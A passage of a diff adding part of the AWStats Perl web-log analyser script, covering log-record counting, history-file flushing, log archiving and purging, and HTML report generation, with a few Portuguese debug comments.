"$1."; + $rowkeyok = 1; + last; + } + } + elsif ( $rowkeytype =~ /extra(\d+)/i ) { + my $pos = $1; + debug( " TESTE $field[ $pos_extra[$pos] ] LOL $rowkeytypeval", 5 ); + if ( $field[ $pos_extra[$pos] ] =~ /$rowkeytypeval/ ) { + $rowkeyval .= "$1."; + $rowkeyok = 1; + last; + } + } + else { + error( + "Wrong value of parameter ExtraSectionFirstColumnValues$extranum" + ); + } + } + } + if ( !$rowkeyok ) { next; } # End for this section + if ( !$rowkeyval ) { $rowkeyval = 'Failed to extract key'; } + if ($Debug) { debug( " Key val found: $rowkeyval", 5 ); } + + # Apply function on $rowkeyval + if ( $ExtraColumnFunction[$extranum] ) { # MUDAR + + # Todo call function on string $rowkeyval + } + + # Here we got all values to increase counters + if ( $PageBool && $ExtraStatTypes[$extranum] =~ /P/i ) { + ${ '_section_' . $extranum . '_p' }{$rowkeyval}++; + } + + if ( $ExtraStatTypes[$extranum] =~ /B/i && $pos_size>0) { + ${ '_section_' . $extranum . '_k' }{$rowkeyval} += + int( $field[$pos_size] ); + } + if ( $ExtraStatTypes[$extranum] =~ /L/i ) { + if ( ${ '_section_' . $extranum . '_l' }{$rowkeyval} + || 0 < $timerecord ) + { + ${ '_section_' . $extranum . '_l' }{$rowkeyval} = + $timerecord; + } + } + ${ '_section_' . $extranum . '_h' }{$rowkeyval}++; # Must be set + + # Check to avoid too large extra sections + if ( + scalar keys %{ '_section_' . $extranum . '_h' } > + $ExtraTrackedRowsLimit ) + { + error(<<END_ERROR_TEXT); +The number of values found for extra section $extranum has grown too large. +In order to prevent awstats from using an excessive amount of memory, the number +of values is currently limited to $ExtraTrackedRowsLimit. Perhaps you should consider +revising extract parameters for extra section $extranum. If you are certain you +want to track such a large data set, you can increase the limit by setting +ExtraTrackedRowsLimit in your awstats configuration file. +END_ERROR_TEXT + } + } + +# Every 20,000 approved lines after a flush, we test to clean too large hash arrays to flush data in tmp file + if ( ++$counterforflushtest >= 20000 ) { + + #if (++$counterforflushtest >= 1) { + if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 ) + || ( scalar keys %_url_p ) > $LIMITFLUSH ) + { + +# warning("Warning: Try to run AWStats update process more frequently to analyze smaler log files."); + if ( $^X =~ /activestate/i || $^X =~ /activeperl/i ) { + +# We don't flush if perl is activestate to avoid slowing process because of memory hole + } + else { + + # Clean tmp hash arrays + #%TmpDNSLookup = (); + %TmpOS = %TmpRefererServer = %TmpRobot = %TmpBrowser = (); + + # We flush if perl is not activestate + print "Flush history file on disk"; + if ( ( scalar keys %_host_u ) > ( $LIMITFLUSH << 2 ) ) { + print " (unique hosts reach flush limit of " + . ( $LIMITFLUSH << 2 ) . ")"; + } + if ( ( scalar keys %_url_p ) > $LIMITFLUSH ) { + print " (unique url reach flush limit of " + . ($LIMITFLUSH) . ")"; + } + print "\n"; + if ($Debug) { + debug( +"End of set of $counterforflushtest records: Some hash arrays are too large. We flush and clean some.", + 2 + ); + print " _host_p:" + . ( scalar keys %_host_p ) + . " _host_h:" + . ( scalar keys %_host_h ) + . " _host_k:" + . ( scalar keys %_host_k ) + . " _host_l:" + . ( scalar keys %_host_l ) + . " _host_s:" + . ( scalar keys %_host_s ) + . " _host_u:" + . ( scalar keys %_host_u ) . "\n"; + print " _url_p:" + . ( scalar keys %_url_p ) + . " _url_k:" + . ( scalar keys %_url_k ) + . " _url_e:" + . ( scalar keys %_url_e ) + . " _url_x:" + . ( scalar keys %_url_x ) . "\n"; + print " _waithost_e:" + . ( scalar keys %_waithost_e ) + . " _waithost_l:" + . ( scalar keys %_waithost_l ) + . " _waithost_s:" + . ( scalar keys %_waithost_s ) + . " _waithost_u:" + . ( scalar keys %_waithost_u ) . "\n"; + } + &Read_History_With_TmpUpdate( + $lastprocessedyear, + $lastprocessedmonth, + $lastprocessedday, + $lastprocessedhour, + 1, + 1, + "all", + ( $lastlinenb + $NbOfLinesParsed ), + $lastlineoffset, + &CheckSum($_) + ); + &GetDelaySinceStart(1); + $NbOfLinesShowsteps = 1; + } + } + $counterforflushtest = 0; + } + + } # End of loop for processing new record. + + if ($Debug) { + debug( + " _host_p:" + . ( scalar keys %_host_p ) + . " _host_h:" + . ( scalar keys %_host_h ) + . " _host_k:" + . ( scalar keys %_host_k ) + . " _host_l:" + . ( scalar keys %_host_l ) + . " _host_s:" + . ( scalar keys %_host_s ) + . " _host_u:" + . ( scalar keys %_host_u ) . "\n", + 1 + ); + debug( + " _url_p:" + . ( scalar keys %_url_p ) + . " _url_k:" + . ( scalar keys %_url_k ) + . " _url_e:" + . ( scalar keys %_url_e ) + . " _url_x:" + . ( scalar keys %_url_x ) . "\n", + 1 + ); + debug( + " _waithost_e:" + . ( scalar keys %_waithost_e ) + . " _waithost_l:" + . ( scalar keys %_waithost_l ) + . " _waithost_s:" + . ( scalar keys %_waithost_s ) + . " _waithost_u:" + . ( scalar keys %_waithost_u ) . "\n", + 1 + ); + debug( + "End of processing log file (AWStats memory cache is TmpDNSLookup=" + . ( scalar keys %TmpDNSLookup ) + . " TmpBrowser=" + . ( scalar keys %TmpBrowser ) + . " TmpOS=" + . ( scalar keys %TmpOS ) + . " TmpRefererServer=" + . ( scalar keys %TmpRefererServer ) + . " TmpRobot=" + . ( scalar keys %TmpRobot ) . ")", + 1 + ); + } + +# Save current processed break section +# If lastprocesseddate > 0 means there is at least one approved new record in log or at least one existing history file + if ( $lastprocesseddate > 0 ) + { + # TODO: Do not save if we are sure a flush was just already done + # Get last line + seek( LOG, $lastlineoffset, 0 ); + my $line = <LOG>; + chomp $line; + $line =~ s/\r$//; + if ( !$NbOfLinesParsed ) + { + # TODO If there was no lines parsed (log was empty), we only update LastUpdate line with YYYYMMDDHHMMSS 0 0 0 0 0 + &Read_History_With_TmpUpdate( + $lastprocessedyear, $lastprocessedmonth, + $lastprocessedday, $lastprocessedhour, + 1, 1, + "all", ( $lastlinenb + $NbOfLinesParsed ), + $lastlineoffset, &CheckSum($line) + ); + } + else { + &Read_History_With_TmpUpdate( + $lastprocessedyear, $lastprocessedmonth, + $lastprocessedday, $lastprocessedhour, + 1, 1, + "all", ( $lastlinenb + $NbOfLinesParsed ), + $lastlineoffset, &CheckSum($line) + ); + } + } + + if ($Debug) { debug("Close log file \"$LogFile\""); } + close LOG || error("Command for pipe '$LogFile' failed"); + + # Process the Rename - Archive - Purge phase + my $renameok = 1; + my $archiveok = 1; + + # Open Log file for writing if PurgeLogFile is on + if ($PurgeLogFile) { + if ($ArchiveLogRecords) { + if ( $ArchiveLogRecords == 1 ) { # For backward compatibility + $ArchiveFileName = "$DirData/${PROG}_archive$FileSuffix.log"; + } + else { + $ArchiveFileName = + "$DirData/${PROG}_archive$FileSuffix." + . &Substitute_Tags($ArchiveLogRecords) . ".log"; + } + open( LOG, "+<$LogFile" ) + || error( +"Enable to archive log records of \"$LogFile\" into \"$ArchiveFileName\" because source can't be opened for read and write: $!<br />\n" + ); + } + else { + open( LOG, "+<$LogFile" ); + } + binmode LOG; + } + + # Rename all HISTORYTMP files into HISTORYTXT + &Rename_All_Tmp_History(); + + # Purge Log file if option is on and all renaming are ok + if ($PurgeLogFile) { + + # Archive LOG file into ARCHIVELOG + if ($ArchiveLogRecords) { + if ($Debug) { debug("Start of archiving log file"); } + open( ARCHIVELOG, ">>$ArchiveFileName" ) + || error( + "Couldn't open file \"$ArchiveFileName\" to archive log: $!"); + binmode ARCHIVELOG; + while (<LOG>) { + if ( !print ARCHIVELOG $_ ) { $archiveok = 0; last; } + } + close(ARCHIVELOG) + || error("Archiving failed during closing archive: $!"); + if ($SaveDatabaseFilesWithPermissionsForEveryone) { + chmod 0666, "$ArchiveFileName"; + } + if ($Debug) { debug("End of archiving log file"); } + } + + # If rename and archive ok + if ( $renameok && $archiveok ) { + if ($Debug) { debug("Purge log file"); } + my $bold = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>' : '' ); + my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>' : '' ); + my $br = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' ); + truncate( LOG, 0 ) + || warning( +"Warning: $bold$PROG$unbold couldn't purge logfile \"$bold$LogFile$unbold\".$br\nChange your logfile permissions to allow write for your web server CGI process or change PurgeLogFile=1 into PurgeLogFile=0 in configure file and think to purge sometimes manually your logfile (just after running an update process to not loose any not already processed records your log file contains)." + ); + } + close(LOG); + } + + if ( $DNSLookup == 1 && $DNSLookupAlreadyDone ) { + + # DNSLookup warning + my $bold = ( $ENV{'GATEWAY_INTERFACE'} ? '<b>' : '' ); + my $unbold = ( $ENV{'GATEWAY_INTERFACE'} ? '</b>' : '' ); + my $br = ( $ENV{'GATEWAY_INTERFACE'} ? '<br />' : '' ); + warning( +"Warning: $bold$PROG$unbold has detected that some hosts names were already resolved in your logfile $bold$DNSLookupAlreadyDone$unbold.$br\nIf DNS lookup was already made by the logger (web server), you should change your setup DNSLookup=$DNSLookup into DNSLookup=0 to increase $PROG speed." + ); + } + if ( $DNSLookup == 1 && $NbOfNewLines ) { + + # Save new DNS last update cache file + Save_DNS_Cache_File( \%TmpDNSLookup, "$DirData/$DNSLastUpdateCacheFile", + "$FileSuffix" ); # Save into file using FileSuffix + } + + if ($EnableLockForUpdate) { + + # Remove lock + &Lock_Update(0); + + # Restore signals handler + $SIG{INT} = 'DEFAULT'; # 2 + #$SIG{KILL} = 'DEFAULT'; # 9 + #$SIG{TERM} = 'DEFAULT'; # 15 + } + +} + +# End of log processing if ($UPdateStats) + +#--------------------------------------------------------------------- +# SHOW REPORT +#--------------------------------------------------------------------- + +if ( scalar keys %HTMLOutput ) { + + debug( "YearRequired=$YearRequired, MonthRequired=$MonthRequired", 2 ); + debug( "DayRequired=$DayRequired, HourRequired=$HourRequired", 2 ); + + # Define the NewLinkParams for main chart + my $NewLinkParams = ${QueryString}; + $NewLinkParams =~ s/(^|&|&)update(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)output(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)staticlinks(=\w*|$)//i; + $NewLinkParams =~ s/(^|&|&)framename=[^&]*//i; + my $NewLinkTarget = ''; + if ($DetailedReportsOnNewWindows) { + $NewLinkTarget = " target=\"awstatsbis\""; + } + if ( ( $FrameName eq 'mainleft' || $FrameName eq 'mainright' ) + && $DetailedReportsOnNewWindows < 2 ) + { + $NewLinkParams .= "&framename=mainright"; + $NewLinkTarget = " target=\"mainright\""; + } + $NewLinkParams =~ s/(&|&)+/&/i; + $NewLinkParams =~ s/^&//; + $NewLinkParams =~ s/&$//; + if ($NewLinkParams) { $NewLinkParams = "${NewLinkParams}&"; } + + if ( $FrameName ne 'mainleft' ) { + + # READING DATA + #------------- + &Init_HashArray(); + + # Lecture des fichiers history / reading history file + if ( $DatabaseBreak eq 'month' ) { + for ( my $ix = 12 ; $ix >= 1 ; $ix-- ) { + my $stringforload = ''; + my $monthix = sprintf( "%02s", $ix ); + if ( $MonthRequired eq 'all' || $monthix eq $MonthRequired ) { + $stringforload = 'all'; # Read full history file + } + elsif ( ( $HTMLOutput{'main'} && $ShowMonthStats ) + || $HTMLOutput{'alldays'} ) + { + $stringforload = + 'general time'; # Read general and time sections. + } + if ($stringforload) { + + # On charge fichier / file is loaded + &Read_History_With_TmpUpdate( $YearRequired, $monthix, '', + '', 0, 0, $stringforload ); + } + } + } + if ( $DatabaseBreak eq 'day' ) { + my $stringforload = 'all'; + my $monthix = sprintf( "%02s", $MonthRequired ); + my $dayix = sprintf( "%02s", $DayRequired ); + &Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix, '', + 0, 0, $stringforload ); + } + if ( $DatabaseBreak eq 'hour' ) { + my $stringforload = 'all'; + my $monthix = sprintf( "%02s", $MonthRequired ); + my $dayix = sprintf( "%02s", $DayRequired ); + my $hourix = sprintf( "%02s", $HourRequired ); + &Read_History_With_TmpUpdate( $YearRequired, $monthix, $dayix, + $hourix, 0, 0, $stringforload ); + } + + } + + # HTMLHeadSection + if ( $FrameName ne 'index' && $FrameName ne 'mainleft' ) { + print "<a name=\"top\"></a>\n\n"; + my $newhead = $HTMLHeadSection; + $newhead =~ s/\\n/\n/g; + print "$newhead\n"; + print "\n"; + } + + # Call to plugins' function AddHTMLBodyHeader + foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLBodyHeader'} } ) { + my $function = "AddHTMLBodyHeader_$pluginname"; + &$function(); + } + + my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 ); + + # TOP BAN + #--------------------------------------------------------------------- + if ( $ShowMenu || $FrameName eq 'mainleft' ) { + HTMLTopBanner($WIDTHMENU1); + } + + # Call to plugins' function AddHTMLMenuHeader + foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuHeader'} } ) { + my $function = "AddHTMLMenuHeader_$pluginname"; + &$function(); + } + + # MENU (ON LEFT IF FRAME OR TOP) + #--------------------------------------------------------------------- + if ( $ShowMenu || $FrameName eq 'mainleft' ) { + HTMLMenu($NewLinkParams, $NewLinkTarget); + } + + # Call to plugins' function AddHTMLMenuFooter + foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuFooter'} } ) { + my $function = "AddHTMLMenuFooter_$pluginname"; + &$function(); + } + + # Exit if left frame + if ( $FrameName eq 'mainleft' ) { + &html_end(0); + exit 0; + } + + + +# TotalVisits TotalUnique TotalPages TotalHits TotalBytes TotalHostsKnown TotalHostsUnknown + $TotalUnique = $TotalVisits = $TotalPages = $TotalHits = $TotalBytes = 0; + $TotalNotViewedPages = $TotalNotViewedHits = $TotalNotViewedBytes = 0; + $TotalHostsKnown = $TotalHostsUnknown = 0; + my $beginmonth = $MonthRequired; + my $endmonth = $MonthRequired; + if ( $MonthRequired eq 'all' ) { $beginmonth = 1; $endmonth = 12; } + for ( my $month = $beginmonth ; $month <= $endmonth ; $month++ ) { + my $monthix = sprintf( "%02s", $month ); + $TotalHostsKnown += $MonthHostsKnown{ $YearRequired . $monthix } + || 0; # Wrong in year view + $TotalHostsUnknown += $MonthHostsUnknown{ $YearRequired . $monthix } + || 0; # Wrong in year view + $TotalUnique += $MonthUnique{ $YearRequired . $monthix } + || 0; # Wrong in year view + $TotalVisits += $MonthVisits{ $YearRequired . $monthix } + || 0; # Not completely true + $TotalPages += $MonthPages{ $YearRequired . $monthix } || 0; + $TotalHits += $MonthHits{ $YearRequired . $monthix } || 0; + $TotalBytes += $MonthBytes{ $YearRequired . $monthix } || 0; + $TotalNotViewedPages += $MonthNotViewedPages{ $YearRequired . $monthix } + || 0; + $TotalNotViewedHits += $MonthNotViewedHits{ $YearRequired . $monthix } + || 0; + $TotalNotViewedBytes += $MonthNotViewedBytes{ $YearRequired . $monthix } + || 0; + } + + # TotalHitsErrors TotalBytesErrors + $TotalHitsErrors = 0; + my $TotalBytesErrors = 0; + foreach ( keys %_errors_h ) { + + # print "xxxx".$_." zzz".$_errors_h{$_}; + $TotalHitsErrors += $_errors_h{$_}; + $TotalBytesErrors += $_errors_k{$_}; + } + +# TotalEntries (if not already specifically counted, we init it from _url_e hash table) + if ( !$TotalEntries ) { + foreach ( keys %_url_e ) { $TotalEntries += $_url_e{$_}; } + } + +# TotalExits (if not already specifically counted, we init it from _url_x hash table) + if ( !$TotalExits ) { + foreach ( keys %_url_x ) { $TotalExits += $_url_x{$_}; } + } + +# TotalBytesPages (if not already specifically counted, we init it from _url_k hash table) + if ( !$TotalBytesPages ) { + foreach ( keys %_url_k ) { $TotalBytesPages += $_url_k{$_}; } + } + +# TotalKeyphrases (if not already specifically counted, we init it from _keyphrases hash table) + if ( !$TotalKeyphrases ) { + foreach ( keys %_keyphrases ) { $TotalKeyphrases += $_keyphrases{$_}; } + } + +# TotalKeywords (if not already specifically counted, we init it from _keywords hash table) + if ( !$TotalKeywords ) { + foreach ( keys %_keywords ) { $TotalKeywords += $_keywords{$_}; } + } + +# TotalSearchEnginesPages (if not already specifically counted, we init it from _se_referrals_p hash table) + if ( !$TotalSearchEnginesPages ) { + foreach ( keys %_se_referrals_p ) { + $TotalSearchEnginesPages += $_se_referrals_p{$_}; + } + } + +# TotalSearchEnginesHits (if not already specifically counted, we init it from _se_referrals_h hash table) + if ( !$TotalSearchEnginesHits ) { + foreach ( keys %_se_referrals_h ) { + $TotalSearchEnginesHits += $_se_referrals_h{$_}; + } + } + +# TotalRefererPages (if not already specifically counted, we init it from _pagesrefs_p hash table) + if ( !$TotalRefererPages ) { + foreach ( keys %_pagesrefs_p ) { + $TotalRefererPages += $_pagesrefs_p{$_}; + } + } + +# TotalRefererHits (if not already specifically counted, we init it from _pagesrefs_h hash table) + if ( !$TotalRefererHits ) { + foreach ( keys %_pagesrefs_h ) { + $TotalRefererHits += $_pagesrefs_h{$_}; + } + } + +# TotalDifferentPages (if not already specifically counted, we init it from _url_p hash table) + $TotalDifferentPages ||= scalar keys %_url_p; + +# TotalDifferentKeyphrases (if not already specifically counted, we init it from _keyphrases hash table) + $TotalDifferentKeyphrases ||= scalar keys %_keyphrases; + +# TotalDifferentKeywords (if not already specifically counted, we init it from _keywords hash table) + $TotalDifferentKeywords ||= scalar keys %_keywords; + +# TotalDifferentSearchEngines (if not already specifically counted, we init it from _se_referrals_h hash table) + $TotalDifferentSearchEngines ||= scalar keys %_se_referrals_h; + +# TotalDifferentReferer (if not already specifically counted, we init it from _pagesrefs_h hash table) + $TotalDifferentReferer ||= scalar keys %_pagesrefs_h; + +# Define firstdaytocountaverage, lastdaytocountaverage, firstdaytoshowtime, lastdaytoshowtime + my $firstdaytocountaverage = + $nowyear . $nowmonth . "01"; # Set day cursor to 1st day of month + my $firstdaytoshowtime = + $nowyear . $nowmonth . "01"; # Set day cursor to 1st day of month + my $lastdaytocountaverage = + $nowyear . $nowmonth . $nowday; # Set day cursor to today + my $lastdaytoshowtime = + $nowyear . $nowmonth . "31"; # Set day cursor to last day of month + if ( $MonthRequired eq 'all' ) { + $firstdaytocountaverage = + $YearRequired + . "0101"; # Set day cursor to 1st day of the required year + } + if ( ( $MonthRequired ne $nowmonth && $MonthRequired ne 'all' ) + || $YearRequired ne $nowyear ) + { + if ( $MonthRequired eq 'all' ) { + $firstdaytocountaverage = + $YearRequired + . "0101"; # Set day cursor to 1st day of the required year + $firstdaytoshowtime = + $YearRequired . "1201" + ; # Set day cursor to 1st day of last month of required year + $lastdaytocountaverage = + $YearRequired + . "1231"; # Set day cursor to last day of the required year + $lastdaytoshowtime = + $YearRequired . "1231" + ; # Set day cursor to last day of last month of required year + } + else { + $firstdaytocountaverage = + $YearRequired + . $MonthRequired + . "01"; # Set day cursor to 1st day of the required month + $firstdaytoshowtime = + $YearRequired + . $MonthRequired + . "01"; # Set day cursor to 1st day of the required month + $lastdaytocountaverage = + $YearRequired + . $MonthRequired + . "31"; # Set day cursor to last day of the required month + $lastdaytoshowtime = + $YearRequired + . $MonthRequired + . "31"; # Set day cursor to last day of the required month + } + } + if ($Debug) { + debug( +"firstdaytocountaverage=$firstdaytocountaverage, lastdaytocountaverage=$lastdaytocountaverage", + 1 + ); + debug( +"firstdaytoshowtime=$firstdaytoshowtime, lastdaytoshowtime=$lastdaytoshowtime", + 1 + ); + } + + # Call to plugins' function AddHTMLContentHeader + foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLContentHeader'} } ) + { + # to add unique visitors & number of visits, by J Ruano @ CAPSiDE + if ( $ShowDomainsStats =~ /U/i ) { + print "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>"; + } + if ( $ShowDomainsStats =~ /V/i ) { + print "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>"; + } + + my $function = "AddHTMLContentHeader_$pluginname"; + &$function(); + } + + # Output individual frames or static pages for specific sections + #----------------------- + if ( scalar keys %HTMLOutput == 1 ) { + + if ( $HTMLOutput{'alldomains'} ) { + &HTMLShowDomains(); + } + if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) { + &HTMLShowHosts(); + } + if ( $HTMLOutput{'unknownip'} ) { + &HTMLShowHostsUnknown(); + } + if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) { + &HTMLShowEmailSendersChart( $NewLinkParams, $NewLinkTarget ); + &html_end(1); + } + if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) { + &HTMLShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget ); + &html_end(1); + } + if ( $HTMLOutput{'alllogins'} || $HTMLOutput{'lastlogins'} ) { + &HTMLShowLogins(); + } + if ( $HTMLOutput{'allrobots'} || $HTMLOutput{'lastrobots'} ) { + &HTMLShowRobots(); + } + if ( $HTMLOutput{'urldetail'} + || $HTMLOutput{'urlentry'} + || $HTMLOutput{'urlexit'} ) + { + &HTMLShowURLDetail(); + } + if ( $HTMLOutput{'unknownos'} ) { + &HTMLShowOSUnknown($NewLinkTarget); + } + if ( $HTMLOutput{'unknownbrowser'} ) { + &HTMLShowBrowserUnknown($NewLinkTarget); + } + if ( $HTMLOutput{'osdetail'} ) { + &HTMLShowOSDetail(); + } + if ( $HTMLOutput{'browserdetail'} ) { + &HTMLShowBrowserDetail(); + } + if ( $HTMLOutput{'refererse'} ) { + &HTMLShowReferers($NewLinkTarget); + } + if ( $HTMLOutput{'refererpages'} ) { + &HTMLShowRefererPages($NewLinkTarget); + } + if ( $HTMLOutput{'keyphrases'} ) { + &HTMLShowKeyPhrases($NewLinkTarget); + } + if ( $HTMLOutput{'keywords'} ) { + &HTMLShowKeywords($NewLinkTarget); + } + if ( $HTMLOutput{'downloads'} ) { + &HTMLShowDownloads(); + } + foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) { + if ( $HTMLOutput{"errors$code"} ) { + &HTMLShowErrorCodes($code); + } + } + + # BY EXTRA SECTIONS + #---------------------------- + HTMLShowExtraSections(); + + if ( $HTMLOutput{'info'} ) { + # TODO Not yet available + print "$Center<a name=\"info\"> </a><br />"; + &html_end(1); + } + + # Print any plugins that have individual pages + # TODO - change name, graph isn't so descriptive + my $htmloutput = ''; + foreach my $key ( keys %HTMLOutput ) { $htmloutput = $key; } + if ( $htmloutput =~ /^plugin_(\w+)$/ ) { + my $pluginname = $1; + print "$Center<a name=\"plugin_$pluginname\"> </a><br />"; + my $function = "AddHTMLGraph_$pluginname"; + &$function(); + &html_end(1); + } + } + + # Output main page + #----------------- + if ( $HTMLOutput{'main'} ) { + + # Calculate averages + my $max_p = 0; + my $max_h = 0; + my $max_k = 0; + my $max_v = 0; + my $average_nb = 0; + foreach my $daycursor ($firstdaytocountaverage .. $lastdaytocountaverage ) + { + $daycursor =~ /^(\d\d\d\d)(\d\d)(\d\d)/; + my $year = $1; + my $month = $2; + my $day = $3; + if ( !DateIsValid( $day, $month, $year ) ) { + next; + } # If not an existing day, go to next + $average_nb++; # Increase number of day used to count + $AverageVisits += ( $DayVisits{$daycursor} || 0 ); + $AveragePages += ( $DayPages{$daycursor} || 0 ); + $AverageHits += ( $DayHits{$daycursor} || 0 ); + $AverageBytes += ( $DayBytes{$daycursor} || 0 ); + } + if ($average_nb) { + $AverageVisits = $AverageVisits / $average_nb; + $AveragePages = $AveragePages / $average_nb; + $AverageHits = $AverageHits / $average_nb; + $AverageBytes = $AverageBytes / $average_nb; + if ( $AverageVisits > $max_v ) { $max_v = $AverageVisits; } + #if ($average_p > $max_p) { $max_p=$average_p; } + if ( $AverageHits > $max_h ) { $max_h = $AverageHits; } + if ( $AverageBytes > $max_k ) { $max_k = $AverageBytes; } + } + else { + $AverageVisits = "?"; + $AveragePages = "?"; + $AverageHits = "?"; + $AverageBytes = "?"; + } + + print "\n<a name=\"content_extra\"> </a>\n\n"; # ancora onde será inserido o conteudo extra + + # SUMMARY + #--------------------------------------------------------------------- + if ($ShowSummary) { + &HTMLMainSummary(); + } + + # BY MONTH + #--------------------------------------------------------------------- + if ($ShowMonthStats) { + &HTMLMainMonthly(); + } + + print "\n<a name=\"when\"> </a>\n\n"; + + # BY DAY OF MONTH + #--------------------------------------------------------------------- + if ($ShowDaysOfMonthStats) { + &HTMLMainDaily($firstdaytocountaverage, $lastdaytocountaverage, + $firstdaytoshowtime, $lastdaytoshowtime); + } + + # BY DAY OF WEEK + #------------------------- + if ($ShowDaysOfWeekStats) { + &HTMLMainDaysofWeek($firstdaytocountaverage, $lastdaytocountaverage, $NewLinkParams, $NewLinkTarget); + } + + # BY HOUR + #---------------------------- + if ($ShowHoursStats) { + &HTMLMainHours($NewLinkParams, $NewLinkTarget); + } + + print "\n<a name=\"who\"> </a>\n\n"; + + # BY COUNTRY/DOMAIN + #--------------------------- + if ($ShowDomainsStats) { + &HTMLMainCountries($NewLinkParams, $NewLinkTarget); + } + + # BY HOST/VISITOR + #-------------------------- + if ($ShowHostsStats) { + &HTMLMainHosts($NewLinkParams, $NewLinkTarget); + } + + # BY SENDER EMAIL + #---------------------------- + if ($ShowEMailSenders) { + &HTMLShowEmailSendersChart( $NewLinkParams, $NewLinkTarget ); + } + + # BY RECEIVER EMAIL + #---------------------------- + if ($ShowEMailReceivers) { + &HTMLShowEmailReceiversChart( $NewLinkParams, $NewLinkTarget ); + } + + # BY LOGIN + #---------------------------- + if ($ShowAuthenticatedUsers) { + &HTMLMainLogins($NewLinkParams, $NewLinkTarget); + } + + # BY ROBOTS + #---------------------------- + if ($ShowRobotsStats) { + &HTMLMainRobots($NewLinkParams, $NewLinkTarget); + } + + # BY WORMS + #---------------------------- + if ($ShowWormsStats) { + &HTMLMainWorms(); + } + + print "\n<a name=\"how\"> </a>\n\n"; + + # BY SESSION + #---------------------------- + if ($ShowSessionsStats) { + &HTMLMainSessions(); + } + + # BY FILE TYPE + #------------------------- + if ($ShowFileTypesStats) { + &HTMLMainFileType($NewLinkParams, $NewLinkTarget); + } + + # BY FILE SIZE + #------------------------- + if ($ShowFileSizesStats) { + # TODO + } + + # BY DOWNLOADS + #------------------------- + if ($ShowDownloadsStats) { + &HTMLMainDownloads($NewLinkParams, $NewLinkTarget); + } + + # BY PAGE + #------------------------- + if ($ShowPagesStats) { + &HTMLMainPages($NewLinkParams, $NewLinkTarget); + } + + # BY OS + #---------------------------- + if ($ShowOSStats) { + &HTMLMainOS($NewLinkParams, $NewLinkTarget); + } + + # BY BROWSER + #---------------------------- + if ($ShowBrowsersStats) { + &HTMLMainBrowsers($NewLinkParams, $NewLinkTarget); + } + + # BY SCREEN SIZE + #---------------------------- + if ($ShowScreenSizeStats) { + &HTMLMainScreenSize(); + } + + print "\n<a name=\"refering\"> </a>\n\n"; + + # BY REFERENCE + #--------------------------- + if ($ShowOriginStats) { + &HTMLMainReferrers($NewLinkParams, $NewLinkTarget); + } + + print "\n<a name=\"keys\"> </a>\n\n"; + + # BY SEARCH KEYWORDS AND/OR KEYPHRASES + #------------------------------------- + if ($ShowKeyphrasesStats || $ShowKeywordsStats){ + &HTMLMainKeys($NewLinkParams, $NewLinkTarget); + } + + print "\n<a name=\"other\"> </a>\n\n"; + + # BY MISC + #---------------------------- + if ($ShowMiscStats) { + &HTMLMainMisc(); + } + + # BY HTTP STATUS + #---------------------------- + if ($ShowHTTPErrorsStats) { + &HTMLMainHTTPStatus($NewLinkParams, $NewLinkTarget); + } + + # BY SMTP STATUS + #---------------------------- + if ($ShowSMTPErrorsStats) { + &HTMLMainSMTPStatus($NewLinkParams, $NewLinkTarget); + } + + # BY CLUSTER + #---------------------------- + if ($ShowClusterStats) { + &HTMLMainCluster($NewLinkParams, $NewLinkTarget); + } + + # BY EXTRA SECTIONS + #---------------------------- + foreach my $extranum ( 1 .. @ExtraName - 1 ) { + &HTMLMainExtra($NewLinkParams, $NewLinkTarget, $extranum); + } + print "<a name=\"eextra\"> </a>\n\n"; + + # close the HTML page + &html_end(1); + } +} +else { + print "Jumped lines in file: $lastlinenb\n"; + if ($lastlinenb) { print " Found $lastlinenb already parsed records.\n"; } + print "Parsed lines in file: $NbOfLinesParsed\n"; + print " Found $NbOfLinesDropped dropped records,\n"; + print " Found $NbOfLinesComment comments,\n"; + print " Found $NbOfLinesBlank blank records,\n"; + print " Found $NbOfLinesCorrupted corrupted records,\n"; + print " Found $NbOfOldLines old records,\n"; + print " Found $NbOfNewLines new qualified records.\n"; +} + + +#sleep 10; + +0; # Do not remove this line + +#------------------------------------------------------- +# ALGORITHM SUMMARY +# +# Read_Config(); +# Check_Config() and Init variables +# if 'frame not index' +# &Read_Language_Data($Lang); +# if 'frame not mainleft' +# &Read_Ref_Data(); +# &Read_Plugins(); +# html_head +# +# If 'migrate' +# We create/update tmp file with +# &Read_History_With_TmpUpdate(year,month,day,hour,UPDATE,NOPURGE,"all"); +# Rename the tmp file +# html_end +# Exit +# End of 'migrate' +# +# Get last history file name +# Get value for $LastLine $LastLineNumber $LastLineOffset $LastLineChecksum with +# &Read_History_With_TmpUpdate(lastyearbeforeupdate,lastmonthbeforeupdate,lastdaybeforeupdate,lasthourbeforeupdate,NOUPDATE,NOPURGE,"general"); +# +# &Init_HashArray() +# +# If 'update' +# Loop on each new line in log file +# lastlineoffset=lastlineoffsetnext; lastlineoffsetnext=file pointer position +# If line corrupted, skip --> next on loop +# Drop wrong virtual host --> next on loop +# Drop wrong method/protocol --> next on loop +# Check date --> next on loop +# If line older than $LastLine, skip --> next on loop +# So it's new line +# $LastLine = time or record +# Skip if url is /robots.txt --> next on loop +# Skip line for @SkipHosts --> next on loop +# Skip line for @SkipFiles --> next on loop +# Skip line for @SkipUserAgent --> next on loop +# Skip line for not @OnlyHosts --> next on loop +# Skip line for not @OnlyUsers --> next on loop +# Skip line for not @OnlyFiles --> next on loop +# Skip line for not @OnlyUserAgent --> next on loop +# So it's new line approved +# If other month/year, create/update tmp file and 